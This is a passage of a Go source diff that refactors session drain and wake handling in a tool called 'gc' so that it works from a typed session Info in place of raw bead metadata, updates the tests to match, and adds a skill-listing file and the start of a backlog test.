--- a/cmd/gc/session_template_start.go
+++ b/cmd/gc/session_template_start.go
@@ -96,8 +96,8 @@ func materializeSessionForTemplateWithOptions(
 
 	if hasNamed {
 		if snapshot, err := loadSessionBeadSnapshot(store); err == nil {
-			if bead, ok := findCanonicalNamedSessionBead(snapshot, spec); ok {
-				if sn := bead.Metadata["session_name"]; sn != "" {
+			if info, ok := findCanonicalNamedSessionInfo(snapshot, spec); ok {
+				if sn := info.SessionNameMetadata; sn != "" {
 					return sn, nil
 				}
 			}
@@ -108,7 +108,7 @@ func materializeSessionForTemplateWithOptions(
 			if bead, ok := reopenClosedConfiguredNamedSessionBead(
 				cityPath, store, cfg, cityName, spec.Identity, spec.SessionName, "stopped", time.Now().UTC(), opts.materializeMetadata, stderr,
 			); ok {
-				if sn := strings.TrimSpace(bead.Metadata["session_name"]); sn != "" {
+				if sn := strings.TrimSpace(session.InfoFromPersistedBead(bead).SessionNameMetadata); sn != "" {
 					snapshot.add(bead)
 					return sn, nil
 				}
@@ -200,8 +200,8 @@ func materializeSessionForTemplateWithOptions(
 					return info.SessionName, nil
 				}
 				if snapshot, err := loadSessionBeadSnapshot(store); err == nil {
-					if bead, ok := findCanonicalNamedSessionBead(snapshot, spec); ok {
-						if sn := bead.Metadata["session_name"]; sn != "" {
+					if info, ok := findCanonicalNamedSessionInfo(snapshot, spec); ok {
+						if sn := info.SessionNameMetadata; sn != "" {
 							return sn, nil
 						}
 					}
@@ -228,8 +228,8 @@ func materializeSessionForTemplateWithOptions(
 			return info.SessionName, nil
 		}
 		if snapshot, snapErr := loadSessionBeadSnapshot(store); snapErr == nil {
-			if bead, ok := findCanonicalNamedSessionBead(snapshot, spec); ok {
-				if sn := bead.Metadata["session_name"]; sn != "" {
+			if info, ok := findCanonicalNamedSessionInfo(snapshot, spec); ok {
+				if sn := info.SessionNameMetadata; sn != "" {
 					return sn, nil
 				}
 			}
diff --git a/cmd/gc/session_wake.go b/cmd/gc/session_wake.go
index 6407f39e55..7962e69612 100644
--- a/cmd/gc/session_wake.go
+++ b/cmd/gc/session_wake.go
@@ -30,7 +30,7 @@ var errTokenMismatch = errors.New("instance token mismatch")
 // Returns the new generation and instance token on success.
 func preWakeCommit(
 	session *beads.Bead,
-	sessFront *sessions.InfoStore,
+	sessFront *sessions.Store,
 	clk clock.Clock,
 ) (newGen int, token string, err error) {
 	name := session.Metadata["session_name"]
@@ -157,22 +157,37 @@ func validateWorkDir(dir string) error {
 // Without this, a single bad tick can interrupt a working agent mid-tool-call.
 func beginSessionDrain(
 	session beads.Bead,
+	sp runtime.Provider,
+	dt *drainTracker,
+	reason string,
+	clk clock.Clock,
+	timeout time.Duration,
+) bool {
+	return beginSessionDrainInfo(sessions.InfoFromPersistedBead(session), sp, dt, reason, clk, timeout)
+}
+
+// beginSessionDrainInfo is the typed core of beginSessionDrain for the
+// reconciler's post-Phase-1 wake loop. It reads only session_name, generation,
+// and id — all carried verbatim on Info — so it is byte-identical to the raw
+// form it backs.
+func beginSessionDrainInfo(
+	info sessions.Info,
 	_ runtime.Provider, // kept for caller compatibility; interrupt deferred to advanceSessionDrains
 	dt *drainTracker,
 	reason string,
 	clk clock.Clock,
 	timeout time.Duration,
 ) bool {
-	name := session.Metadata["session_name"]
-	if dt.get(session.ID) != nil {
+	name := info.SessionNameMetadata
+	if dt.get(info.ID) != nil {
 		if os.Getenv("GC_TMUX_TRACE") == "1" {
 			log.Printf("[DRAIN-TRACE] beginSessionDrain session=%s reason=%s noop=already-draining", name, reason)
 		}
 		return false
 	}
-	gen, _ := strconv.Atoi(session.Metadata["generation"])
+	gen, _ := strconv.Atoi(info.Generation)
 
-	dt.set(session.ID, &drainState{
+	dt.set(info.ID, &drainState{
 		startedAt:  clk.Now(),
 		deadline:   clk.Now().Add(timeout),
 		reason:     reason,
@@ -246,10 +261,30 @@ func cancelSessionDrain(session beads.Bead, sp runtime.Provider, dt *drainTracke
 	return cancelSessionDrainIf(session, sp, dt, drainReasonCancelable)
 }
 
+// cancelSessionDrainInfo is the typed sibling of cancelSessionDrain for the
+// reconciler's post-Phase-1 wake loop, reading the session id/generation/name
+// off the Info snapshot instead of the raw bead.
+func cancelSessionDrainInfo(info sessions.Info, sp runtime.Provider, dt *drainTracker) bool {
+	return cancelSessionDrainIfInfo(info, sp, dt, drainReasonCancelable)
+}
+
 func cancelSessionDrainForPending(session beads.Bead, sp runtime.Provider, dt *drainTracker) bool {
 	return cancelSessionDrainIf(session, sp, dt, pendingDrainReasonCancelable)
 }
 
+// cancelSessionDrainForPendingInfo is the typed sibling of
+// cancelSessionDrainForPending for the reconciler's Phase-2 drain scan, which
+// works off the Info snapshot rather than a raw bead.
+func cancelSessionDrainForPendingInfo(info sessions.Info, sp runtime.Provider, dt *drainTracker) bool {
+	return cancelSessionDrainIfInfo(info, sp, dt, pendingDrainReasonCancelable)
+}
+
+// cancelSessionDrainForAssignedWorkInfo is the typed sibling of
+// cancelSessionDrainForAssignedWork for the reconciler's Phase-2 drain scan.
+func cancelSessionDrainForAssignedWorkInfo(info sessions.Info, sp runtime.Provider, dt *drainTracker) bool {
+	return cancelSessionDrainIfInfo(info, sp, dt, assignedWorkDrainReasonCancelable)
+}
+
 func assignedWorkDrainReasonCancelable(reason string) bool {
 	switch reason {
 	case "orphaned", "no-wake-reason":
@@ -264,27 +299,41 @@ func cancelSessionDrainForAssignedWork(session beads.Bead, sp runtime.Provider,
 }
 
 func cancelSessionConfigDriftDrain(session beads.Bead, sp runtime.Provider, dt *drainTracker) bool {
+	return cancelSessionConfigDriftDrainInfo(sessions.InfoFromPersistedBead(session), sp, dt)
+}
+
+// cancelSessionConfigDriftDrainInfo is the session.Info form of
+// cancelSessionConfigDriftDrain: byte-identical, threading Info straight into
+// the typed drain-cancel core (cancelSessionDrainIfInfo).
+func cancelSessionConfigDriftDrainInfo(info sessions.Info, sp runtime.Provider, dt *drainTracker) bool {
 	if dt == nil {
 		return false
 	}
-	return cancelSessionDrainIf(session, sp, dt, func(reason string) bool {
+	return cancelSessionDrainIfInfo(info, sp, dt, func(reason string) bool {
 		return reason == "config-drift"
 	})
 }
 
 func cancelSessionDrainIf(session beads.Bead, sp runtime.Provider, dt *drainTracker, canCancel func(string) bool) bool {
-	ds := dt.get(session.ID)
+	return cancelSessionDrainIfInfo(sessions.InfoFromPersistedBead(session), sp, dt, canCancel)
+}
+
+// cancelSessionDrainIfInfo is the typed core of the drain-cancel helpers. It
+// reads only the session id, generation, and session_name — all carried raw and
+// verbatim on Info — so it is byte-identical to the raw-bead form it backs.
+func cancelSessionDrainIfInfo(info sessions.Info, sp runtime.Provider, dt *drainTracker, canCancel func(string) bool) bool {
+	ds := dt.get(info.ID)
 	if ds == nil {
 		return false
 	}
 	if !canCancel(ds.reason) {
 		return false
 	}
-	gen, _ := strconv.Atoi(session.Metadata["generation"])
+	gen, _ := strconv.Atoi(info.Generation)
 	if gen == ds.generation {
-		dt.clearIdleProbe(session.ID)
-		dt.remove(session.ID)
-		name := session.Metadata["session_name"]
+		dt.clearIdleProbe(info.ID)
+		dt.remove(info.ID)
+		name := info.SessionNameMetadata
 		// Clear GC_DRAIN_ACK if it was set — prevents stale ack from
 		// killing the session on the next Phase 1 drain-ack check.
 		if ds.ackSet {
@@ -422,26 +471,46 @@ func advanceSessionDrainsWithSessions(
 	readyWaitSet map[string]bool,
 	clk clock.Clock,
 ) {
-	advanceSessionDrainsWithSessionsTraced(dt, sp, store, sessionLookup, sessions, wakeEvals, cfg, poolDesired, workSet, readyWaitSet, clk, nil)
+	// Non-reconciler drain entry points (and their tests) still carry raw beads.
+	// Derive the wake evaluations from them here when the caller supplied none —
+	// the traced core requires a non-nil wakeEvals map (Step 5d moved this fallback
+	// off the prod core; computeWakeEvaluations/evaluateWakeReasons stay for the
+	// CLI wake column and these wrappers).
+	if wakeEvals == nil {
+		wakeEvals = computeWakeEvaluations(sessions, cfg, sp, poolDesired, workSet, readyWaitSet, clk)
+	}
+	advanceSessionDrainsWithSessionsTraced(dt, sp, store, infoLookupFromBeadLookup(sessionLookup), wakeEvals, cfg, clk, nil)
+}
+
+// infoLookupFromBeadLookup adapts a raw *beads.Bead lookup to the typed Info
+// lookup the drain scan consumes. Used by the non-reconciler drain entry points
+// (and their tests), which still carry raw beads; the reconciler builds its Info
+// lookup directly from the coherent infoByID snapshot instead.
+func infoLookupFromBeadLookup(sessionLookup func(id string) *beads.Bead) func(id string) (sessions.Info, bool) {
+	return func(id string) (sessions.Info, bool) {
+		b := sessionLookup(id)
+		if b == nil {
+			return sessions.Info{}, false
+		}
+		return sessions.InfoFromPersistedBead(*b), true
+	}
 }
 
 func advanceSessionDrainsWithSessionsTraced(
 	dt *drainTracker,
 	sp runtime.Provider,
 	store beads.Store,
-	sessionLookup func(id string) *beads.Bead,
-	sessions []beads.Bead,
+	infoLookup func(id string) (sessions.Info, bool),
 	wakeEvals map[string]wakeEvaluation,
 	cfg *config.City,
-	poolDesired map[string]int,
-	workSet map[string]bool,
-	readyWaitSet map[string]bool,
 	clk clock.Clock,
 	trace *sessionReconcilerTraceCycle,
 ) {
-	if wakeEvals == nil {
-		wakeEvals = computeWakeEvaluations(sessions, cfg, sp, poolDesired, workSet, readyWaitSet, clk)
-	}
+	// wakeEvals is required. The reconciler builds it from the coherent infoByID
+	// snapshot; the non-reconciler wrappers derive it via computeWakeEvaluations
+	// from their raw beads before calling in. Step 5d dropped the raw-bead
+	// wakeEvals==nil fallback and its now-unused sessionBeads/poolDesired/workSet/
+	// readyWaitSet inputs from this prod core — the scan runs entirely off infoLookup.
 	// Session front door constructed once from the same store; nil when store is
 	// nil so completeDrain keeps its store==nil short-circuit.
 	sessFront := sessionFrontDoor(store)
@@ -449,16 +518,20 @@ func advanceSessionDrainsWithSessionsTraced(
 		sessFront = nil
 	}
 	for id, ds := range dt.all() {
-		session := sessionLookup(id)
-		if session == nil {
+		info, ok := infoLookup(id)
+		if !ok {
 			dt.clearIdleProbe(id)
 			dt.remove(id)
 			continue
 		}
-		name := session.Metadata["session_name"]
+		// The whole scan runs off the typed Info: decision reads (session_name,
+		// generation, template), the drain-complete write (completeDrain → store),
+		// the cancel checks (cancelSessionDrainFor*Info), verifiedStop, and the
+		// process-running probe (by info.ID). Nothing reads the raw bead.
+		name := info.SessionNameMetadata
 
 		// Stale check: if session was re-woken (generation changed), cancel drain.
-		gen, _ := strconv.Atoi(session.Metadata["generation"])
+		gen, _ := strconv.Atoi(info.Generation)
 		if gen != ds.generation {
 			dt.clearIdleProbe(id)
 			if ds.ackSet {
@@ -466,62 +539,62 @@ func advanceSessionDrainsWithSessionsTraced(
 			}
 			dt.remove(id)
 			if trace != nil {
-				trace.recordDecision("reconciler.drain.stale", normalizedSessionTemplate(*session, cfg), name, "stale_generation", "cancel", traceRecordPayload{
+				trace.RecordDecision(TraceSiteDrainStale, TraceReasonStaleGeneration, TraceOutcomeCancel, normalizedSessionTemplateInfo(info, cfg), name, traceRecordPayload{
 					"drain_reason":       ds.reason,
 					"drain_generation":   ds.generation,
 					"session_generation": gen,
-				}, nil, "")
+				})
 			}
 			continue
 		}
 
 		// Check if process exited.
-		running, err := workerSessionTargetRunningWithConfig("", store, sp, cfg, session.ID)
+		running, err := workerSessionTargetRunningWithConfig("", store, sp, cfg, info.ID)
 		if err != nil {
 			running = false
 		}
 		if !running {
 			// Process exited — drain complete.
-			completeDrain(session, sessFront, ds, clk)
+			completeDrain(info, sessFront, ds, clk)
 			dt.clearIdleProbe(id)
 			dt.remove(id)
 			telemetry.RecordDrainTransition(context.Background(), name, ds.reason, "complete")
 			if trace != nil {
-				trace.recordDecision("reconciler.drain.complete", normalizedSessionTemplate(*session, cfg), name, ds.reason, "complete", traceRecordPayload{
+				trace.RecordDecision(TraceSiteDrainComplete, TraceReasonCode(ds.reason), TraceOutcomeComplete, normalizedSessionTemplateInfo(info, cfg), name, traceRecordPayload{
 					"drain_started_at": ds.startedAt,
-				}, nil, "")
+				})
 			}
 			continue
 		}
 
-		if eval, ok := wakeEvals[session.ID]; ok &&
+		if eval, ok := wakeEvals[info.ID]; ok &&
 			containsWakeReason(eval.Reasons, WakePending) &&
 			pendingDrainReasonCancelable(ds.reason) {
-			if cancelSessionDrainForPending(*session, sp, dt) {
+			if cancelSessionDrainForPendingInfo(info, sp, dt) {
 				if trace != nil {
-					trace.recordDecision("reconciler.drain.cancel", normalizedSessionTemplate(*session, cfg), name, ds.reason, "cancel_pending", nil, nil, "")
+					trace.RecordDecision(TraceSiteDrainCancel, TraceReasonCode(ds.reason), TraceOutcomeCancelPending, normalizedSessionTemplateInfo(info, cfg), name, nil)
 				}
 				continue
 			}
 		}
 
-		if eval, ok := wakeEvals[session.ID]; ok &&
+		if eval, ok := wakeEvals[info.ID]; ok &&
 			eval.Reason == "assigned-work" &&
 			containsWakeReason(eval.Reasons, WakeWork) &&
 			assignedWorkDrainReasonCancelable(ds.reason) {
-			if cancelSessionDrainForAssignedWork(*session, sp, dt) {
+			if cancelSessionDrainForAssignedWorkInfo(info, sp, dt) {
 				if trace != nil {
-					trace.recordDecision("reconciler.drain.cancel", normalizedSessionTemplate(*session, cfg), name, ds.reason, "cancel_assigned_work", nil, nil, "")
+					trace.RecordDecision(TraceSiteDrainCancel, TraceReasonCode(ds.reason), TraceOutcomeCancelAssignedWork, normalizedSessionTemplateInfo(info, cfg), name, nil)
 				}
 				continue
 			}
 		}
 
-		// Cancelation check: if wake reasons reappeared, cancel the in-memory
+		// Cancellation check: if wake reasons reappeared, cancel the in-memory
 		// drain. Orphaned, suspended, and ordinary config-drift drains are not
 		// canceled here.
 		if drainReasonCancelable(ds.reason) {
-			if eval, ok := wakeEvals[session.ID]; ok && len(eval.Reasons) > 0 {
+			if eval, ok := wakeEvals[info.ID]; ok && len(eval.Reasons) > 0 {
 				dt.clearIdleProbe(id)
 				// Clear GC_DRAIN_ACK if it was set — prevents stale ack
 				// from killing the session on the next Phase 1 check.
@@ -530,7 +603,7 @@ func advanceSessionDrainsWithSessionsTraced(
 				}
 				dt.remove(id)
 				if trace != nil {
-					trace.recordDecision("reconciler.drain.cancel", normalizedSessionTemplate(*session, cfg), name, ds.reason, "cancel", nil, nil, "")
+					trace.RecordDecision(TraceSiteDrainCancel, TraceReasonCode(ds.reason), TraceOutcomeCancel, normalizedSessionTemplateInfo(info, cfg), name, nil)
 				}
 				continue
 			}
@@ -565,15 +638,19 @@ func advanceSessionDrainsWithSessionsTraced(
 					outcome = "failed"
 					fields["error"] = err.Error()
 				}
-				trace.recordMutation("runtime_meta", normalizedSessionTemplate(*session, cfg), name, "provider_meta", name, "GC_DRAIN_ACK", "", "1", outcome, fields, "")
+				fields["template"] = normalizedSessionTemplateInfo(info, cfg)
+				fields["before"] = ""
+				fields["after"] = "1"
+				fields["field"] = "GC_DRAIN_ACK"
+				trace.RecordMutation(TraceSiteMutationRuntimeMeta, TraceReasonUnknown, TraceOutcomeCode(outcome), "provider_meta", name, "GC_DRAIN_ACK", fields)
 			}
 		}
 
-		// Pending-interaction guards and wake-based cancelation run before this
+		// Pending-interaction guards and wake-based cancellation run before this
 		// timeout path. Preserve that ordering if this block is refactored.
 		if clk.Now().After(ds.deadline) {
 			// Drain timed out — force stop.
-			if err := verifiedStop(*session, store, sp, cfg); err != nil {
+			if err := verifiedStop(info, store, sp, cfg); err != nil {
 				if errors.Is(err, errTokenMismatch) {
 					// Session was re-woken by a different incarnation.
 					// This drain is stale — cancel it.
@@ -583,25 +660,25 @@ func advanceSessionDrainsWithSessionsTraced(
 				// Other errors (transient stop failure): keep drain
 				// active for retry on next tick.
 				if trace != nil {
-					trace.recordDecision("reconciler.drain.timeout", normalizedSessionTemplate(*session, cfg), name, ds.reason, "retry", traceRecordPayload{
+					trace.RecordDecision(TraceSiteDrainTimeout, TraceReasonCode(ds.reason), TraceOutcomeRetry, normalizedSessionTemplateInfo(info, cfg), name, traceRecordPayload{
 						"error": err.Error(),
-					}, nil, "")
+					})
 				}
 				continue
 			}
 			// Re-probe after stop to confirm process actually exited
 			// before marking metadata as asleep.
-			running, err := workerSessionTargetRunningWithConfig("", store, sp, cfg, session.ID)
+			running, err := workerSessionTargetRunningWithConfig("", store, sp, cfg, info.ID)
 			if err != nil {
 				running = false
 			}
 			if !running {
-				completeDrain(session, sessFront, ds, clk)
+				completeDrain(info, sessFront, ds, clk)
 				dt.clearIdleProbe(id)
 				dt.remove(id)
 				telemetry.RecordDrainTransition(context.Background(), name, ds.reason, "timeout")
 				if trace != nil {
-					trace.recordDecision("reconciler.drain.timeout", normalizedSessionTemplate(*session, cfg), name, ds.reason, "complete", nil, nil, "")
+					trace.RecordDecision(TraceSiteDrainTimeout, TraceReasonCode(ds.reason), TraceOutcomeComplete, normalizedSessionTemplateInfo(info, cfg), name, nil)
 				}
 			}
 			// If still running after stop, keep drain for next tick.
@@ -610,20 +687,19 @@ func advanceSessionDrainsWithSessionsTraced(
 	}
 }
 
-// completeDrain writes drain-complete metadata to the bead.
-func completeDrain(session *beads.Bead, sessFront *sessions.InfoStore, ds *drainState, clk clock.Clock) {
-	batch := sessions.CompleteDrainPatch(clk.Now(), ds.reason, session.Metadata["wake_mode"] == "fresh")
-	if sessFront != nil {
-		if err := sessFront.ApplyPatch(session.ID, batch); err != nil {
-			return
-		}
-	}
-	if session.Metadata == nil {
-		session.Metadata = make(map[string]string)
-	}
-	for k, v := range batch {
-		session.Metadata[k] = v
+// completeDrain writes drain-complete metadata to the store for the drained
+// session. It reads only the typed Info (id + raw wake_mode); the raw-bead
+// mirror the reconciler used to keep is dropped. Nothing reads a drained
+// session's metadata later in the tick — the awake scan runs before
+// advanceSessionDrains, and completeDrain is always followed by dt.remove +
+// continue — so the store write is the sole observable effect (all completeDrain
+// tests assert on store.Get). With no store there is nothing to persist.
+func completeDrain(info sessions.Info, sessFront *sessions.Store, ds *drainState, clk clock.Clock) {
+	if sessFront == nil {
+		return
 	}
+	batch := sessions.CompleteDrainPatch(clk.Now(), ds.reason, info.WakeMode == "fresh")
+	_ = sessFront.ApplyPatch(info.ID, batch)
 }
 
 // verifiedStop stops a session after verifying the instance_token matches.
@@ -634,16 +710,16 @@ func completeDrain(session *beads.Bead, sessFront *sessions.InfoStore, ds *drain
 // to different backends if the route table is stale. This is a pre-existing
 // routing limitation — when the reconciler is wired in, consider a
 // provider-level VerifiedStop that atomically verifies+stops on the same backend.
-func verifiedStop(session beads.Bead, store beads.Store, sp runtime.Provider, cfg *config.City) error {
-	name := session.Metadata["session_name"]
-	expectedToken := session.Metadata["instance_token"]
+func verifiedStop(info sessions.Info, store beads.Store, sp runtime.Provider, cfg *config.City) error {
+	name := info.SessionNameMetadata
+	expectedToken := info.InstanceToken
 	if expectedToken != "" {
 		actualToken, _ := sp.GetMeta(name, "GC_INSTANCE_TOKEN")
 		if actualToken != "" && actualToken != expectedToken {
-			return fmt.Errorf("%w for session %s", errTokenMismatch, session.ID)
+			return fmt.Errorf("%w for session %s", errTokenMismatch, info.ID)
 		}
 	}
-	handle, err := workerHandleForSessionWithConfig("", store, sp, cfg, session.ID)
+	handle, err := workerHandleForSessionWithConfig("", store, sp, cfg, info.ID)
 	if err != nil {
 		return err
 	}
diff --git a/cmd/gc/session_wake_test.go b/cmd/gc/session_wake_test.go
index a35fc3bc1f..22c168ab5c 100644
--- a/cmd/gc/session_wake_test.go
+++ b/cmd/gc/session_wake_test.go
@@ -582,7 +582,7 @@ func TestVerifiedStop_MatchingToken(t *testing.T) {
 		t.Fatalf("store.Get: %v", err)
 	}
 
-	err = verifiedStop(session, store, sp, nil)
+	err = verifiedStop(sessionpkg.InfoFromPersistedBead(session), store, sp, nil)
 	if err != nil {
 		t.Errorf("verifiedStop with matching token: %v", err)
 	}
@@ -610,7 +610,7 @@ func TestVerifiedStop_MismatchedToken(t *testing.T) {
 		t.Fatalf("store.Get: %v", err)
 	}
 
-	err = verifiedStop(session, store, sp, nil)
+	err = verifiedStop(sessionpkg.InfoFromPersistedBead(session), store, sp, nil)
 	if err == nil {
 		t.Error("expected error for mismatched token")
 	}
@@ -635,7 +635,7 @@ func TestVerifiedStop_NoToken(t *testing.T) {
 		t.Fatalf("store.Get: %v", err)
 	}
 
-	err = verifiedStop(session, store, sp, nil)
+	err = verifiedStop(sessionpkg.InfoFromPersistedBead(session), store, sp, nil)
 	if err != nil {
 		t.Errorf("verifiedStop with no token: %v", err)
 	}
@@ -1277,12 +1277,12 @@ func TestAdvanceSessionDrains_ConfigDriftCancelableOnPendingWake(t *testing.T) {
 	})
 
 	cfg := &config.City{Agents: []config.Agent{{Name: "worker"}}}
-	advanceSessionDrainsWithSessionsTraced(dt, sp, store, func(id string) *beads.Bead {
+	advanceSessionDrainsWithSessionsTraced(dt, sp, store, infoLookupFromBeadLookup(func(id string) *beads.Bead {
 		got, _ := store.Get(id)
 		return &got
-	}, []beads.Bead{b}, map[string]wakeEvaluation{
+	}), map[string]wakeEvaluation{
 		b.ID: {Reasons: []WakeReason{WakePending}},
-	}, cfg, map[string]int{"worker": 1}, nil, nil, clk, nil)
+	}, cfg, clk, nil)
 
 	if dt.get(b.ID) != nil {
 		t.Error("config-drift drain should be canceled by a pending wake")
@@ -1357,7 +1357,7 @@ func TestCompleteDrain_ClearsLastWokeAt(t *testing.T) {
 	})
 
 	ds := &drainState{reason: "idle"}
-	completeDrain(&b, sessionFrontDoor(store), ds, clk)
+	completeDrain(sessionpkg.InfoFromPersistedBead(b), sessionFrontDoor(store), ds, clk)
 
 	got, _ := store.Get(b.ID)
 	if got.Metadata["last_woke_at"] != "" {
@@ -1388,7 +1388,7 @@ func TestCompleteDrain_FreshModeClearsIdentity(t *testing.T) {
 	})
 
 	ds := &drainState{reason: "idle"}
-	completeDrain(&b, sessionFrontDoor(store), ds, clk)
+	completeDrain(sessionpkg.InfoFromPersistedBead(b), sessionFrontDoor(store), ds, clk)
 
 	got, _ := store.Get(b.ID)
 	if got.Metadata["session_key"] != "" {
@@ -1422,7 +1422,7 @@ func TestCompleteDrain_ResumeModePreservesIdentity(t *testing.T) {
 	})
 
 	ds := &drainState{reason: "idle"}
-	completeDrain(&b, sessionFrontDoor(store), ds, clk)
+	completeDrain(sessionpkg.InfoFromPersistedBead(b), sessionFrontDoor(store), ds, clk)
 
 	got, _ := store.Get(b.ID)
 	if got.Metadata["session_key"] != "resume-key" {
@@ -1450,7 +1450,7 @@ func TestCompleteDrain_ClearsPendingCreateClaim(t *testing.T) {
 	})
 
 	ds := &drainState{reason: "idle"}
-	completeDrain(&b, sessionFrontDoor(store), ds, clk)
+	completeDrain(sessionpkg.InfoFromPersistedBead(b), sessionFrontDoor(store), ds, clk)
 
 	got, _ := store.Get(b.ID)
 	if got.Metadata["pending_create_claim"] != "" {
@@ -1566,3 +1566,41 @@ func TestDrainTracker_FinishIdleProbeIgnoresStaleProbe(t *testing.T) {
 		t.Fatalf("replacement probe should complete successfully, got ok=%v probe=%+v", ok, probe)
 	}
 }
+
+// TestClearMissingIdleProbes guards the Step-6c conversion of
+// clearMissingIdleProbes off the raw beadByID pointer map onto the typed
+// infoByID snapshot. Both carry exactly the working set's ids, so presence in
+// infoByID must decide retention identically to a non-nil beadByID entry: a
+// probe whose session is still in the snapshot is kept; a probe whose session
+// has left the working set is cleared. Info values are irrelevant — only key
+// presence matters (a closed-but-present session keeps its probe here; the
+// drain path clears it elsewhere).
+func TestClearMissingIdleProbes(t *testing.T) {
+	dt := newDrainTracker()
+	for _, id := range []string{"present", "also-present", "missing"} {
+		if dt.startIdleProbe(id) == nil {
+			t.Fatalf("expected idle probe to start for %q", id)
+		}
+	}
+
+	infoByID := map[string]sessionpkg.Info{
+		"present":      {ID: "present"},
+		"also-present": {ID: "also-present", Closed: true},
+	}
+
+	clearMissingIdleProbes(dt, infoByID)
+
+	if _, ok := dt.idleProbe("present"); !ok {
+		t.Fatal("probe for a session still in the snapshot must be retained")
+	}
+	if _, ok := dt.idleProbe("also-present"); !ok {
+		t.Fatal("probe for a closed-but-present session must be retained (presence, not Info value, decides)")
+	}
+	if _, ok := dt.idleProbe("missing"); ok {
+		t.Fatal("probe for a session absent from the snapshot must be cleared")
+	}
+
+	// Nil-tracker fast path: the reconciler may run without a drain tracker in
+	// reduced configurations, so the call must be a safe no-op.
+	clearMissingIdleProbes(nil, infoByID)
+}
diff --git a/cmd/gc/skill_visibility.go b/cmd/gc/skill_visibility.go
new file mode 100644
index 0000000000..35fed212b4
--- /dev/null
+++ b/cmd/gc/skill_visibility.go
@@ -0,0 +1,82 @@
+package main
+
+import (
+	"fmt"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/session"
+)
+
+// skill_visibility.go holds the session-front-door-injected half of `gc skill
+// list`: the resolvers that take the typed *session.Store rather than a raw
+// store. The command root (cmd_skill.go) opens the city store and constructs
+// the front door; these leaves receive it, so this file is store-free
+// (frontDoorStoreFreeFiles). Session-bead access reaches the raw session-class
+// store the front door wraps via sessFront.Store().Store — the same underlying
+// store, so behavior is unchanged.
+
+func listVisibleSkillEntries(cityPath string, cfg *config.City, sessFront *session.Store, agentName, sessionID string) ([]visibilityEntry, error) {
+	entries := discoverSkillEntries(cityPath, "city")
+	// Legacy implicit-import compatibility packs may still contribute
+	// shared skills on upgraded installs. Keep surfacing them here while
+	// the compatibility path exists; builtin pack skills arrive through
+	// the composed imports and are not part of this listing.
+	entries = append(entries, discoverBootstrapSkillEntries()...)
+	if strings.TrimSpace(agentName) == "" && strings.TrimSpace(sessionID) == "" {
+		entries = append(entries, discoverImportedSkillEntries(sharedSkillCatalogInputs(cfg, currentRigContext(cfg)))...)
+		sortVisibilityEntries(entries)
+		return entries, nil
+	}
+	agent, err := resolveVisibilityAgent(cityPath, cfg, sessFront, agentName, sessionID)
+	if err != nil {
+		return nil, err
+	}
+	// Every agent sees the entire shared catalog plus its own agent-local
+	// skills. No attachment filtering.
+	entries = append(entries, discoverImportedSkillEntries(sharedSkillCatalogInputs(cfg, agentRigScopeName(agent, cfg.Rigs)))...)
+	entries = append(entries, discoverAgentSkillEntries(agentAssetRoot(cityPath, agent), agent.Name, "agent")...)
+	sortVisibilityEntries(entries)
+	return entries, nil
+}
+
+func resolveVisibilityAgent(cityPath string, cfg *config.City, sessFront *session.Store, agentName, sessionID string) (*config.Agent, error) {
+	switch {
+	case strings.TrimSpace(agentName) != "":
+		resolved, ok := resolveAgentIdentity(cfg, agentName, currentRigContext(cfg))
+		if !ok {
+			return nil, fmt.Errorf("unknown agent %q", agentName)
+		}
+		template := resolveAgentTemplate(resolved.QualifiedName(), cfg)
+		agent := findAgentByTemplate(cfg, template)
+		if agent == nil {
+			return nil, fmt.Errorf("unknown agent %q", agentName)
+		}
+		return agent, nil
+	case strings.TrimSpace(sessionID) != "":
+		if !sessFront.Backed() {
+			return nil, fmt.Errorf("session store unavailable")
+		}
+		store := sessFront.Store().Store
+		id, err := resolveSessionIDAllowClosedWithConfig(cityPath, cfg, store, sessionID)
+		if err != nil {
+			return nil, err
+		}
+		bead, err := store.Get(id)
+		if err != nil {
+			return nil, fmt.Errorf("loading session %q: %w", sessionID, err)
+		}
+		template := normalizedSessionTemplate(bead, cfg)
+		if template == "" {
+			template = strings.TrimSpace(session.InfoFromPersistedBead(bead).AgentName)
+		}
+		template = resolveAgentTemplate(template, cfg)
+		agent := findAgentByTemplate(cfg, template)
+		if agent == nil {
+			return nil, fmt.Errorf("session %q maps to unknown agent template %q", sessionID, template)
+		}
+		return agent, nil
+	default:
+		return nil, nil
+	}
+}
diff --git a/cmd/gc/sling_nudge_backlog_test.go b/cmd/gc/sling_nudge_backlog_test.go
new file mode 100644
index 0000000000..ba03323db1
--- /dev/null
+++ b/cmd/gc/sling_nudge_backlog_test.go
@@ -0,0 +1,90 @@
+package main
+
+import (
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+type backlogSlowStore struct {
+	beads.Store
+	latency time.Duration
+	ops     int64
+}
+
+func (s *backlogSlowStore) tick() { atomic.AddInt64(&s.ops, 1); time.Sleep(s.latency) }
+
+func (s *backlogSlowStore) List(beads.ListQuery) ([]beads.Bead, error) {
+	s.tick()
+	return []beads.Bead{{ID: "shadow-open", Status: "open", Metadata: map[string]string{"state": "queued"}}}, nil
+}
+
+func (s *backlogSlowStore) Create(b beads.Bead) (beads.Bead, error) {
+	s.tick()
+	if b.ID == "" {
+		b.ID = "created-shadow"
+	}
+	b.Status = "open"
+	return b, nil
+}
+
+func (s *backlogSlowStore) Get(id string) (beads.Bead, error) {
+	s.tick()
+	return beads.Bead{ID: id, Status: "open", Metadata: map[string]string{"state": "queued"}}, nil
+}
+
+func (s *backlogSlowStore) Close(string) error { s.tick(); return nil }
+
+func (s *backlogSlowStore) SetMetadata(string, string, string) error { s.tick(); return nil }
+
+func (s *backlogSlowStore) SetMetadataBatch(string, map[string]string) error { s.tick(); return nil }
+
+func seedDeadBacklog(t *testing.T, cityPath string, n int) {
+	t.Helper()
+	now := time.Now()
+	if err := withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
+		for i := 0; i < n; i++ {
+			id := time.Duration(i).String()
+			state.Dead = append(state.Dead, queuedNudge{
+				ID: "nudge-dead-" + id, BeadID: "bead-dead-" + id,
+				Agent: "gascity/deployer", Source: "sling", Message: "backlog",
+				CreatedAt: now.Add(-2 * time.Hour), DeadAt: now.Add(-2 * time.Hour),
+				LastError: "expired",
+			})
+		}
+		return nil
+	}); err != nil {
+		t.Fatalf("seeding backlog: %v", err)
+	}
+}
+
+func timeEnqueue(t *testing.T, backlog int, latency time.Duration) time.Duration {
+	t.Helper()
+	cityPath := t.TempDir()
